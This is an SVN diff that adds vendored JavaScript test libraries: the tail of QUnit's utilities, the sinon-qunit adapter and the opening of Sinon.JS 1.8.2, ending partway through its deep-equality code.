+		QUnit.pushFailure( "Introduced global variable(s): " + newGlobals.join(", ") );
+	}
+
+	deletedGlobals = diff( old, config.pollution );
+	if ( deletedGlobals.length > 0 ) {
+		QUnit.pushFailure( "Deleted global variable(s): " + deletedGlobals.join(", ") );
+	}
+}
+
+// returns a new Array with the elements that are in a but not in b
+function diff( a, b ) {
+	var i, j,
+		result = a.slice();
+
+	for ( i = 0; i < result.length; i++ ) {
+		for ( j = 0; j < b.length; j++ ) {
+			if ( result[i] === b[j] ) {
+				result.splice( i, 1 );
+				i--;
+				break;
+			}
+		}
+	}
+	return result;
+}
+
+function extend( a, b ) {
+	for ( var prop in b ) {
+		if ( hasOwn.call( b, prop ) ) {
+			// Avoid "Member not found" error in IE8 caused by messing with window.constructor
+			if ( !( prop === "constructor" && a === window ) ) {
+				if ( b[ prop ] === undefined ) {
+					delete a[ prop ];
+				} else {
+					a[ prop ] = b[ prop ];
+				}
+			}
+		}
+	}
+
+	return a;
+}
+
+/**
+ * @param {HTMLElement} elem
+ * @param {string} type
+ * @param {Function} fn
+ */
+function addEvent( elem, type, fn ) {
+	// Standards-based browsers
+	if ( elem.addEventListener ) {
+		elem.addEventListener( type, fn, false );
+	// IE
+	} else {
+		elem.attachEvent( "on" + type, fn );
+	}
+}
+
+/**
+ * @param {Array|NodeList} elems
+ * @param {string} type
+ * @param {Function} fn
+ */
+function addEvents( elems, type, fn ) {
+	var i = elems.length;
+	while ( i-- ) {
+		addEvent( elems[i], type, fn );
+	}
+}
+
+function hasClass( elem, name ) {
+	return (" " + elem.className + " ").indexOf(" " + name + " ") > -1;
+}
+
+function addClass( elem, name ) {
+	if ( !hasClass( elem, name ) ) {
+		elem.className += (elem.className ? " " : "") + name;
+	}
+}
+
+function removeClass( elem, name ) {
+	var set = " " + elem.className + " ";
+	// Class name may appear multiple times
+	while ( set.indexOf(" " + name + " ") > -1 ) {
+		set = set.replace(" " + name + " " , " ");
+	}
+	// If possible, trim it for prettiness, but not necessarily
+	elem.className = typeof set.trim === "function" ? set.trim() : set.replace(/^\s+|\s+$/g, "");
+}
+
+function id( name ) {
+	return !!( typeof document !== "undefined" && document && document.getElementById ) &&
+		document.getElementById( name );
+}
+
+function registerLoggingCallback( key ) {
+	return function( callback ) {
+		config[key].push( callback );
+	};
+}
+
+// Supports deprecated method of completely overwriting logging callbacks
+function runLoggingCallbacks( key, scope, args ) {
+	var i, callbacks;
+	if ( QUnit.hasOwnProperty( key ) ) {
+		QUnit[ key ].call(scope, args );
+	} else {
+		callbacks = config[ key ];
+		for ( i = 0; i < callbacks.length; i++ ) {
+			callbacks[ i ].call( scope, args );
+		}
+	}
+}
+
+// Test for equality any JavaScript type.
+// Author: Philippe Rathé <prathe@gmail.com>
+QUnit.equiv = (function() {
+
+	// Call the o related callback with the given arguments.
+	function bindCallbacks( o, callbacks, args ) {
+		var prop = QUnit.objectType( o );
+		if ( prop ) {
+			if ( QUnit.objectType( callbacks[ prop ] ) === "function" ) {
+				return callbacks[ prop ].apply( callbacks, args );
+			} else {
+				return callbacks[ prop ]; // or undefined
+			}
+		}
+	}
+
+	// the real equiv function
+	var innerEquiv,
+		// stack to decide between skip/abort functions
+		callers = [],
+		// stack to avoiding loops from circular referencing
+		parents = [],
+		parentsB = [],
+
+		getProto = Object.getPrototypeOf || function ( obj ) {
+			/*jshint camelcase:false */
+			return obj.__proto__;
+		},
+		callbacks = (function () {
+
+			// for string, boolean, number and null
+			function useStrictEquality( b, a ) {
+				/*jshint eqeqeq:false */
+				if ( b instanceof a.constructor || a instanceof b.constructor ) {
+					// to catch short annotation VS 'new' annotation of a
+					// declaration
+					// e.g. var i = 1;
+					// var j = new Number(1);
+					return a == b;
+				} else {
+					return a === b;
+				}
+			}
+
+			return {
+				"string": useStrictEquality,
+				"boolean": useStrictEquality,
+				"number": useStrictEquality,
+				"null": useStrictEquality,
+				"undefined": useStrictEquality,
+
+				"nan": function( b ) {
+					return isNaN( b );
+				},
+
+				"date": function( b, a ) {
+					return QUnit.objectType( b ) === "date" && a.valueOf() === b.valueOf();
+				},
+
+				"regexp": function( b, a ) {
+					return QUnit.objectType( b ) === "regexp" &&
+						// the regex itself
+						a.source === b.source &&
+						// and its modifiers
+						a.global === b.global &&
+						// (gmi) ...
+						a.ignoreCase === b.ignoreCase &&
+						a.multiline === b.multiline &&
+						a.sticky === b.sticky;
+				},
+
+				// - skip when the property is a method of an instance (OOP)
+				// - abort otherwise,
+				// initial === would have catch identical references anyway
+				"function": function() {
+					var caller = callers[callers.length - 1];
+					return caller !== Object && typeof caller !== "undefined";
+				},
+
+				"array": function( b, a ) {
+					var i, j, len, loop, aCircular, bCircular;
+
+					// b could be an object literal here
+					if ( QUnit.objectType( b ) !== "array" ) {
+						return false;
+					}
+
+					len = a.length;
+					if ( len !== b.length ) {
+						// safe and faster
+						return false;
+					}
+
+					// track reference to avoid circular references
+					parents.push( a );
+					parentsB.push( b );
+					for ( i = 0; i < len; i++ ) {
+						loop = false;
+						for ( j = 0; j < parents.length; j++ ) {
+							aCircular = parents[j] === a[i];
+							bCircular = parentsB[j] === b[i];
+							if ( aCircular || bCircular ) {
+								if ( a[i] === b[i] || aCircular && bCircular ) {
+									loop = true;
+								} else {
+									parents.pop();
+									parentsB.pop();
+									return false;
+								}
+							}
+						}
+						if ( !loop && !innerEquiv(a[i], b[i]) ) {
+							parents.pop();
+							parentsB.pop();
+							return false;
+						}
+					}
+					parents.pop();
+					parentsB.pop();
+					return true;
+				},
+
+				"object": function( b, a ) {
+					/*jshint forin:false */
+					var i, j, loop, aCircular, bCircular,
+						// Default to true
+						eq = true,
+						aProperties = [],
+						bProperties = [];
+
+					// comparing constructors is more strict than using
+					// instanceof
+					if ( a.constructor !== b.constructor ) {
+						// Allow objects with no prototype to be equivalent to
+						// objects with Object as their constructor.
+						if ( !(( getProto(a) === null && getProto(b) === Object.prototype ) ||
+							( getProto(b) === null && getProto(a) === Object.prototype ) ) ) {
+								return false;
+						}
+					}
+
+					// stack constructor before traversing properties
+					callers.push( a.constructor );
+
+					// track reference to avoid circular references
+					parents.push( a );
+					parentsB.push( b );
+
+					// be strict: don't ensure hasOwnProperty and go deep
+					for ( i in a ) {
+						loop = false;
+						for ( j = 0; j < parents.length; j++ ) {
+							aCircular = parents[j] === a[i];
+							bCircular = parentsB[j] === b[i];
+							if ( aCircular || bCircular ) {
+								if ( a[i] === b[i] || aCircular && bCircular ) {
+									loop = true;
+								} else {
+									eq = false;
+									break;
+								}
+							}
+						}
+						aProperties.push(i);
+						if ( !loop && !innerEquiv(a[i], b[i]) ) {
+							eq = false;
+							break;
+						}
+					}
+
+					parents.pop();
+					parentsB.pop();
+					callers.pop(); // unstack, we are done
+
+					for ( i in b ) {
+						bProperties.push( i ); // collect b's properties
+					}
+
+					// Ensures identical properties name
+					return eq && innerEquiv( aProperties.sort(), bProperties.sort() );
+				}
+			};
+		}());
+
+	innerEquiv = function() { // can take multiple arguments
+		var args = [].slice.apply( arguments );
+		if ( args.length < 2 ) {
+			return true; // end transition
+		}
+
+		return (function( a, b ) {
+			if ( a === b ) {
+				return true; // catch the most you can
+			} else if ( a === null || b === null || typeof a === "undefined" ||
+					typeof b === "undefined" ||
+					QUnit.objectType(a) !== QUnit.objectType(b) ) {
+				return false; // don't lose time with error prone cases
+			} else {
+				return bindCallbacks(a, callbacks, [ b, a ]);
+			}
+
+			// apply transition with (1..n) arguments
+		}( args[0], args[1] ) && innerEquiv.apply( this, args.splice(1, args.length - 1 )) );
+	};
+
+	return innerEquiv;
+}());
+
+/**
+ * jsDump Copyright (c) 2008 Ariel Flesler - aflesler(at)gmail(dot)com |
+ * http://flesler.blogspot.com Licensed under BSD
+ * (http://www.opensource.org/licenses/bsd-license.php) Date: 5/15/2008
+ *
+ * @projectDescription Advanced and extensible data dumping for Javascript.
+ * @version 1.0.0
+ * @author Ariel Flesler
+ * @link {http://flesler.blogspot.com/2008/05/jsdump-pretty-dump-of-any-javascript.html}
+ */
+QUnit.jsDump = (function() {
+	function quote( str ) {
+		return "\"" + str.toString().replace( /"/g, "\\\"" ) + "\"";
+	}
+	function literal( o ) {
+		return o + "";
+	}
+	function join( pre, arr, post ) {
+		var s = jsDump.separator(),
+			base = jsDump.indent(),
+			inner = jsDump.indent(1);
+		if ( arr.join ) {
+			arr = arr.join( "," + s + inner );
+		}
+		if ( !arr ) {
+			return pre + post;
+		}
+		return [ pre, inner + arr, base + post ].join(s);
+	}
+	function array( arr, stack ) {
+		var i = arr.length, ret = new Array(i);
+		this.up();
+		while ( i-- ) {
+			ret[i] = this.parse( arr[i] , undefined , stack);
+		}
+		this.down();
+		return join( "[", ret, "]" );
+	}
+
+	var reName = /^function (\w+)/,
+		jsDump = {
+			// type is used mostly internally, you can fix a (custom)type in advance
+			parse: function( obj, type, stack ) {
+				stack = stack || [ ];
+				var inStack, res,
+					parser = this.parsers[ type || this.typeOf(obj) ];
+
+				type = typeof parser;
+				inStack = inArray( obj, stack );
+
+				if ( inStack !== -1 ) {
+					return "recursion(" + (inStack - stack.length) + ")";
+				}
+				if ( type === "function" )  {
+					stack.push( obj );
+					res = parser.call( this, obj, stack );
+					stack.pop();
+					return res;
+				}
+				return ( type === "string" ) ? parser : this.parsers.error;
+			},
+			typeOf: function( obj ) {
+				var type;
+				if ( obj === null ) {
+					type = "null";
+				} else if ( typeof obj === "undefined" ) {
+					type = "undefined";
+				} else if ( QUnit.is( "regexp", obj) ) {
+					type = "regexp";
+				} else if ( QUnit.is( "date", obj) ) {
+					type = "date";
+				} else if ( QUnit.is( "function", obj) ) {
+					type = "function";
+				} else if ( typeof obj.setInterval !== undefined && typeof obj.document !== "undefined" && typeof obj.nodeType === "undefined" ) {
+					type = "window";
+				} else if ( obj.nodeType === 9 ) {
+					type = "document";
+				} else if ( obj.nodeType ) {
+					type = "node";
+				} else if (
+					// native arrays
+					toString.call( obj ) === "[object Array]" ||
+					// NodeList objects
+					( typeof obj.length === "number" && typeof obj.item !== "undefined" && ( obj.length ? obj.item(0) === obj[0] : ( obj.item( 0 ) === null && typeof obj[0] === "undefined" ) ) )
+				) {
+					type = "array";
+				} else if ( obj.constructor === Error.prototype.constructor ) {
+					type = "error";
+				} else {
+					type = typeof obj;
+				}
+				return type;
+			},
+			separator: function() {
+				return this.multiline ?	this.HTML ? "<br />" : "\n" : this.HTML ? "&nbsp;" : " ";
+			},
+			// extra can be a number, shortcut for increasing-calling-decreasing
+			indent: function( extra ) {
+				if ( !this.multiline ) {
+					return "";
+				}
+				var chr = this.indentChar;
+				if ( this.HTML ) {
+					chr = chr.replace( /\t/g, "   " ).replace( / /g, "&nbsp;" );
+				}
+				return new Array( this.depth + ( extra || 0 ) ).join(chr);
+			},
+			up: function( a ) {
+				this.depth += a || 1;
+			},
+			down: function( a ) {
+				this.depth -= a || 1;
+			},
+			setParser: function( name, parser ) {
+				this.parsers[name] = parser;
+			},
+			// The next 3 are exposed so you can use them
+			quote: quote,
+			literal: literal,
+			join: join,
+			//
+			depth: 1,
+			// This is the list of parsers, to modify them, use jsDump.setParser
+			parsers: {
+				window: "[Window]",
+				document: "[Document]",
+				error: function(error) {
+					return "Error(\"" + error.message + "\")";
+				},
+				unknown: "[Unknown]",
+				"null": "null",
+				"undefined": "undefined",
+				"function": function( fn ) {
+					var ret = "function",
+						// functions never have name in IE
+						name = "name" in fn ? fn.name : (reName.exec(fn) || [])[1];
+
+					if ( name ) {
+						ret += " " + name;
+					}
+					ret += "( ";
+
+					ret = [ ret, QUnit.jsDump.parse( fn, "functionArgs" ), "){" ].join( "" );
+					return join( ret, QUnit.jsDump.parse(fn,"functionCode" ), "}" );
+				},
+				array: array,
+				nodelist: array,
+				"arguments": array,
+				object: function( map, stack ) {
+					/*jshint forin:false */
+					var ret = [ ], keys, key, val, i;
+					QUnit.jsDump.up();
+					keys = [];
+					for ( key in map ) {
+						keys.push( key );
+					}
+					keys.sort();
+					for ( i = 0; i < keys.length; i++ ) {
+						key = keys[ i ];
+						val = map[ key ];
+						ret.push( QUnit.jsDump.parse( key, "key" ) + ": " + QUnit.jsDump.parse( val, undefined, stack ) );
+					}
+					QUnit.jsDump.down();
+					return join( "{", ret, "}" );
+				},
+				node: function( node ) {
+					var len, i, val,
+						open = QUnit.jsDump.HTML ? "&lt;" : "<",
+						close = QUnit.jsDump.HTML ? "&gt;" : ">",
+						tag = node.nodeName.toLowerCase(),
+						ret = open + tag,
+						attrs = node.attributes;
+
+					if ( attrs ) {
+						for ( i = 0, len = attrs.length; i < len; i++ ) {
+							val = attrs[i].nodeValue;
+							// IE6 includes all attributes in .attributes, even ones not explicitly set.
+							// Those have values like undefined, null, 0, false, "" or "inherit".
+							if ( val && val !== "inherit" ) {
+								ret += " " + attrs[i].nodeName + "=" + QUnit.jsDump.parse( val, "attribute" );
+							}
+						}
+					}
+					ret += close;
+
+					// Show content of TextNode or CDATASection
+					if ( node.nodeType === 3 || node.nodeType === 4 ) {
+						ret += node.nodeValue;
+					}
+
+					return ret + open + "/" + tag + close;
+				},
+				// function calls it internally, it's the arguments part of the function
+				functionArgs: function( fn ) {
+					var args,
+						l = fn.length;
+
+					if ( !l ) {
+						return "";
+					}
+
+					args = new Array(l);
+					while ( l-- ) {
+						// 97 is 'a'
+						args[l] = String.fromCharCode(97+l);
+					}
+					return " " + args.join( ", " ) + " ";
+				},
+				// object calls it internally, the key part of an item in a map
+				key: quote,
+				// function calls it internally, it's the content of the function
+				functionCode: "[code]",
+				// node calls it internally, it's an html attribute value
+				attribute: quote,
+				string: quote,
+				date: quote,
+				regexp: literal,
+				number: literal,
+				"boolean": literal
+			},
+			// if true, entities are escaped ( <, >, \t, space and \n )
+			HTML: false,
+			// indentation unit
+			indentChar: "  ",
+			// if true, items in a collection, are separated by a \n, else just a space.
+			multiline: true
+		};
+
+	return jsDump;
+}());
+
+// from jquery.js
+function inArray( elem, array ) {
+	if ( array.indexOf ) {
+		return array.indexOf( elem );
+	}
+
+	for ( var i = 0, length = array.length; i < length; i++ ) {
+		if ( array[ i ] === elem ) {
+			return i;
+		}
+	}
+
+	return -1;
+}
+
+/*
+ * Javascript Diff Algorithm
+ *  By John Resig (http://ejohn.org/)
+ *  Modified by Chu Alan "sprite"
+ *
+ * Released under the MIT license.
+ *
+ * More Info:
+ *  http://ejohn.org/projects/javascript-diff-algorithm/
+ *
+ * Usage: QUnit.diff(expected, actual)
+ *
+ * QUnit.diff( "the quick brown fox jumped over", "the quick fox jumps over" ) == "the  quick <del>brown </del> fox <del>jumped </del><ins>jumps </ins> over"
+ */
+QUnit.diff = (function() {
+	/*jshint eqeqeq:false, eqnull:true */
+	function diff( o, n ) {
+		var i,
+			ns = {},
+			os = {};
+
+		for ( i = 0; i < n.length; i++ ) {
+			if ( !hasOwn.call( ns, n[i] ) ) {
+				ns[ n[i] ] = {
+					rows: [],
+					o: null
+				};
+			}
+			ns[ n[i] ].rows.push( i );
+		}
+
+		for ( i = 0; i < o.length; i++ ) {
+			if ( !hasOwn.call( os, o[i] ) ) {
+				os[ o[i] ] = {
+					rows: [],
+					n: null
+				};
+			}
+			os[ o[i] ].rows.push( i );
+		}
+
+		for ( i in ns ) {
+			if ( hasOwn.call( ns, i ) ) {
+				if ( ns[i].rows.length === 1 && hasOwn.call( os, i ) && os[i].rows.length === 1 ) {
+					n[ ns[i].rows[0] ] = {
+						text: n[ ns[i].rows[0] ],
+						row: os[i].rows[0]
+					};
+					o[ os[i].rows[0] ] = {
+						text: o[ os[i].rows[0] ],
+						row: ns[i].rows[0]
+					};
+				}
+			}
+		}
+
+		for ( i = 0; i < n.length - 1; i++ ) {
+			if ( n[i].text != null && n[ i + 1 ].text == null && n[i].row + 1 < o.length && o[ n[i].row + 1 ].text == null &&
+						n[ i + 1 ] == o[ n[i].row + 1 ] ) {
+
+				n[ i + 1 ] = {
+					text: n[ i + 1 ],
+					row: n[i].row + 1
+				};
+				o[ n[i].row + 1 ] = {
+					text: o[ n[i].row + 1 ],
+					row: i + 1
+				};
+			}
+		}
+
+		for ( i = n.length - 1; i > 0; i-- ) {
+			if ( n[i].text != null && n[ i - 1 ].text == null && n[i].row > 0 && o[ n[i].row - 1 ].text == null &&
+						n[ i - 1 ] == o[ n[i].row - 1 ]) {
+
+				n[ i - 1 ] = {
+					text: n[ i - 1 ],
+					row: n[i].row - 1
+				};
+				o[ n[i].row - 1 ] = {
+					text: o[ n[i].row - 1 ],
+					row: i - 1
+				};
+			}
+		}
+
+		return {
+			o: o,
+			n: n
+		};
+	}
+
+	return function( o, n ) {
+		o = o.replace( /\s+$/, "" );
+		n = n.replace( /\s+$/, "" );
+
+		var i, pre,
+			str = "",
+			out = diff( o === "" ? [] : o.split(/\s+/), n === "" ? [] : n.split(/\s+/) ),
+			oSpace = o.match(/\s+/g),
+			nSpace = n.match(/\s+/g);
+
+		if ( oSpace == null ) {
+			oSpace = [ " " ];
+		}
+		else {
+			oSpace.push( " " );
+		}
+
+		if ( nSpace == null ) {
+			nSpace = [ " " ];
+		}
+		else {
+			nSpace.push( " " );
+		}
+
+		if ( out.n.length === 0 ) {
+			for ( i = 0; i < out.o.length; i++ ) {
+				str += "<del>" + out.o[i] + oSpace[i] + "</del>";
+			}
+		}
+		else {
+			if ( out.n[0].text == null ) {
+				for ( n = 0; n < out.o.length && out.o[n].text == null; n++ ) {
+					str += "<del>" + out.o[n] + oSpace[n] + "</del>";
+				}
+			}
+
+			for ( i = 0; i < out.n.length; i++ ) {
+				if (out.n[i].text == null) {
+					str += "<ins>" + out.n[i] + nSpace[i] + "</ins>";
+				}
+				else {
+					// `pre` initialized at top of scope
+					pre = "";
+
+					for ( n = out.n[i].row + 1; n < out.o.length && out.o[n].text == null; n++ ) {
+						pre += "<del>" + out.o[n] + oSpace[n] + "</del>";
+					}
+					str += " " + out.n[i].text + nSpace[i] + pre;
+				}
+			}
+		}
+
+		return str;
+	};
+}());
+
+// for CommonJS environments, export everything
+if ( typeof exports !== "undefined" ) {
+	extend( exports, QUnit.constructor.prototype );
+}
+
+// get at whatever the global object is, like window in browsers
+}( (function() {return this;}.call()) ));
Index: /tags/4.1.6/tests/qunit/vendor/sinon-qunit.js
===================================================================
--- /tags/4.1.6/tests/qunit/vendor/sinon-qunit.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/vendor/sinon-qunit.js	(revision 33402)
@@ -0,0 +1,62 @@
+/**
+ * sinon-qunit 1.0.0, 2010/12/09
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ *
+ * (The BSD License)
+ * 
+ * Copyright (c) 2010-2011, Christian Johansen, christian@cjohansen.no
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without modification,
+ * are permitted provided that the following conditions are met:
+ * 
+ *     * Redistributions of source code must retain the above copyright notice,
+ *       this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above copyright notice,
+ *       this list of conditions and the following disclaimer in the documentation
+ *       and/or other materials provided with the distribution.
+ *     * Neither the name of Christian Johansen nor the names of his contributors
+ *       may be used to endorse or promote products derived from this software
+ *       without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+/*global sinon, QUnit, test*/
+sinon.assert.fail = function (msg) {
+    QUnit.ok(false, msg);
+};
+
+sinon.assert.pass = function (assertion) {
+    QUnit.ok(true, assertion);
+};
+
+sinon.config = {
+    injectIntoThis: true,
+    injectInto: null,
+    properties: ["spy", "stub", "mock", "clock", "sandbox"],
+    useFakeTimers: true,
+    useFakeServer: false
+};
+
+(function (global) {
+    var qTest = QUnit.test;
+    
+    QUnit.test = global.test = function (testName, expected, callback, async) {
+        if (arguments.length === 2) {
+            callback = expected;
+            expected = null;
+        }
+
+        return qTest(testName, expected, sinon.test(callback), async);
+    };
+}(this));
Index: /tags/4.1.6/tests/qunit/vendor/sinon.js
===================================================================
--- /tags/4.1.6/tests/qunit/vendor/sinon.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/vendor/sinon.js	(revision 33402)
@@ -0,0 +1,4728 @@
+/**
+ * Sinon.JS 1.8.2, 2014/02/11
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @author Contributors: https://github.com/cjohansen/Sinon.JS/blob/master/AUTHORS
+ *
+ * (The BSD License)
+ * 
+ * Copyright (c) 2010-2014, Christian Johansen, christian@cjohansen.no
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without modification,
+ * are permitted provided that the following conditions are met:
+ * 
+ *     * Redistributions of source code must retain the above copyright notice,
+ *       this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above copyright notice,
+ *       this list of conditions and the following disclaimer in the documentation
+ *       and/or other materials provided with the distribution.
+ *     * Neither the name of Christian Johansen nor the names of his contributors
+ *       may be used to endorse or promote products derived from this software
+ *       without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+this.sinon = (function () {
+var samsam, formatio;
+function define(mod, deps, fn) { if (mod == "samsam") { samsam = deps(); } else { formatio = fn(samsam); } }
+define.amd = true;
+((typeof define === "function" && define.amd && function (m) { define("samsam", m); }) ||
+ (typeof module === "object" &&
+      function (m) { module.exports = m(); }) || // Node
+ function (m) { this.samsam = m(); } // Browser globals
+)(function () {
+    var o = Object.prototype;
+    var div = typeof document !== "undefined" && document.createElement("div");
+
+    function isNaN(value) {
+        // Unlike global isNaN, this avoids type coercion
+        // typeof check avoids IE host object issues, hat tip to
+        // lodash
+        var val = value; // JsLint thinks value !== value is "weird"
+        return typeof value === "number" && value !== val;
+    }
+
+    function getClass(value) {
+        // Returns the internal [[Class]] by calling Object.prototype.toString
+        // with the provided value as this. Return value is a string, naming the
+        // internal class, e.g. "Array"
+        return o.toString.call(value).split(/[ \]]/)[1];
+    }
+
+    /**
+     * @name samsam.isArguments
+     * @param Object object
+     *
+     * Returns ``true`` if ``object`` is an ``arguments`` object,
+     * ``false`` otherwise.
+     */
+    function isArguments(object) {
+        if (typeof object !== "object" || typeof object.length !== "number" ||
+                getClass(object) === "Array") {
+            return false;
+        }
+        if (typeof object.callee == "function") { return true; }
+        try {
+            object[object.length] = 6;
+            delete object[object.length];
+        } catch (e) {
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * @name samsam.isElement
+     * @param Object object
+     *
+     * Returns ``true`` if ``object`` is a DOM element node. Unlike
+     * Underscore.js/lodash, this function will return ``false`` if ``object``
+     * is an *element-like* object, i.e. a regular object with a ``nodeType``
+     * property that holds the value ``1``.
+     */
+    function isElement(object) {
+        if (!object || object.nodeType !== 1 || !div) { return false; }
+        try {
+            object.appendChild(div);
+            object.removeChild(div);
+        } catch (e) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * @name samsam.keys
+     * @param Object object
+     *
+     * Return an array of own property names.
+     */
+    function keys(object) {
+        var ks = [], prop;
+        for (prop in object) {
+            if (o.hasOwnProperty.call(object, prop)) { ks.push(prop); }
+        }
+        return ks;
+    }
+
+    /**
+     * @name samsam.isDate
+     * @param Object value
+     *
+     * Returns true if the object is a ``Date``, or *date-like*. Duck typing
+     * of date objects work by checking that the object has a ``getTime``
+     * function whose return value equals the return value from the object's
+     * ``valueOf``.
+     */
+    function isDate(value) {
+        return typeof value.getTime == "function" &&
+            value.getTime() == value.valueOf();
+    }
+
+    /**
+     * @name samsam.isNegZero
+     * @param Object value
+     *
+     * Returns ``true`` if ``value`` is ``-0``.
+     */
+    function isNegZero(value) {
+        return value === 0 && 1 / value === -Infinity;
+    }
+
+    /**
+     * @name samsam.equal
+     * @param Object obj1
+     * @param Object obj2
+     *
+     * Returns ``true`` if two objects are strictly equal. Compared to
+     * ``===`` there are two exceptions:
+     *
+     *   - NaN is considered equal to NaN
+     *   - -0 and +0 are not considered equal
+     */
+    function identical(obj1, obj2) {
+        if (obj1 === obj2 || (isNaN(obj1) && isNaN(obj2))) {
+            return obj1 !== 0 || isNegZero(obj1) === isNegZero(obj2);
+        }
+    }
+
+
+    /**
+     * @name samsam.deepEqual
+     * @param Object obj1
+     * @param Object obj2
+     *
+     * Deep equal comparison. Two values are "deep equal" if:
+     *
+     *   - They are equal, according to samsam.identical
+     *   - They are both date objects representing the same time
+     *   - They are both arrays containing elements that are all deepEqual
+     *   - They are objects with the same set of properties, and each property
+     *     in ``obj1`` is deepEqual to the corresponding property in ``obj2``
+     *
+     * Supports cyclic objects.
+     */
+    function deepEqualCyclic(obj1, obj2) {
+
+        // used for cyclic comparison
+        // contain already visited objects
+        var objects1 = [],
+            objects2 = [],
+        // contain pathes (position in the object structure)
+        // of the already visited objects
+        // indexes same as in objects arrays
+            paths1 = [],
+            paths2 = [],
+        // contains combinations of already compared objects
+        // in the manner: { "$1['ref']$2['ref']": true }
+            compared = {};
+
+        /**
+         * used to check, if the value of a property is an object
+         * (cyclic logic is only needed for objects)
+         * only needed for cyclic logic
+         */
+        function isObject(value) {
+
+            if (typeof value === 'object' && value !== null &&
+                    !(value instanceof Boolean) &&
+                    !(value instanceof Date)    &&
+                    !(value instanceof Number)  &&
+                    !(value instanceof RegExp)  &&
+                    !(value instanceof String)) {
+
+                return true;
+            }
+
+            return false;
+        }
+
+        /**
+         * returns the index of the given object in the
+         * given objects array, -1 if not contained
+         * only needed for cyclic logic
+         */
+        function getIndex(objects, obj) {
+
+            var i;
+            for (i = 0; i < objects.length; i++) {
+                if (objects[i] === obj) {
+                    return i;
+                }
+            }
+
+            return -1;
+        }
+
+        // does the recursion for the deep equal check
+        return (function deepEqual(obj1, obj2, path1, path2) {
+            var type1 = typeof obj1;
+            var type2 = typeof obj2;
+
+            // == null also matches undefined
+            if (obj1 === obj2 ||
+                    isNaN(obj1) || isNaN(obj2) ||
+                    obj1 == null || obj2 == null ||
+                    type1 !== "object" || type2 !== "object") {
+
+                return identical(obj1, obj2);
+            }
+
+            // Elements are only equal if identical(expected, actual)
+            if (isElement(obj1) || isElement(obj2)) { return false; }
+
+            var isDate1 = isDate(obj1), isDate2 = isDate(obj2);
+            if (isDate1 || isDate2) {
+                if (!isDate1 || !isDate2 || obj1.getTime() !== obj2.getTime()) {
+                    return false;
+                }
+            }
+
+            if (obj1 instanceof RegExp && obj2 instanceof RegExp) {
+                if (obj1.toString() !== obj2.toString()) { return false; }
+            }
+
+            var class1 = getClass(obj1);
+            var class2 = getClass(obj2);
+            var keys1 = keys(obj1);
+            var keys2 = keys(obj2);
+
+            if (isArguments(obj1) || isArguments(obj2)) {
+                if (obj1.length !== obj2.length) { return false; }
+            } else {
+                if (type1 !== type2 || class1 !== class2 ||
+                        keys1.length !== keys2.length) {
+                    return false;
+                }
+            }
+
+            var key, i, l,
+                // following vars are used for the cyclic logic
+                value1, value2,
+                isObject1, isObject2,
+                index1, index2,
+                newPath1, newPath2;
+
+            for (i = 0, l = keys1.length; i < l; i++) {
+                key = keys1[i];
+                if (!o.hasOwnProperty.call(obj2, key)) {
+                    return false;
+                }
+
+                // Start of the cyclic logic
+
+                value1 = obj1[key];
+                value2 = obj2[key];
+
+                isObject1 = isObject(value1);
+                isObject2 = isObject(value2);
+
+                // determine, if the objects were already visited
+                // (it's faster to check for isObject first, than to
+                // get -1 from getIndex for non objects)
+                index1 = isObject1 ? getIndex(objects1, value1) : -1;
+                index2 = isObject2 ? getIndex(objects2, value2) : -1;
+
+                // determine the new pathes of the objects
+                // - for non cyclic objects the current path will be extended
+                //   by current property name
+                // - for cyclic objects the stored path is taken
+                newPath1 = index1 !== -1
+                    ? paths1[index1]
+                    : path1 + '[' + JSON.stringify(key) + ']';
+                newPath2 = index2 !== -1
+                    ? paths2[index2]
